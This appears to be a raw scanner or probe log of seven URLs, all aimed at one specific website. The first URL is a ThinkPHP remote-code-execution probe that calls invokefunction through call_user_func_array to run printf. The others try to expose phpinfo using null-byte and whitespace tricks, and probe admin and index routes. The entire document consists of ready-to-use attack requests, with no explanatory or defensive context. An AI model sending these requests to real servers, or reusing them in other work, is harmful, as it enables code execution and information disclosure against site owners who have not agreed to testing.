http://www.xiaokudai.com/?function=call_user_func_array&s=api%2F%5Cthink%5Capp%2Finvokefunction&vars%5B0%5D=printf&vars%5B1%5D%5B%5D=WebBug
http://www.xiaokudai.com/?function=call_user_func_array&s=admin/
http://www.xiaokudai.com/?phpinfo=1%00
http://www.xiaokudai.com/?phpinfo=1%20
http://www.xiaokudai.com/?function=call_user_func_array&s=index/
http://www.xiaokudai.com/?phpinfo=1+
http://www.xiaokudai.com/?api=//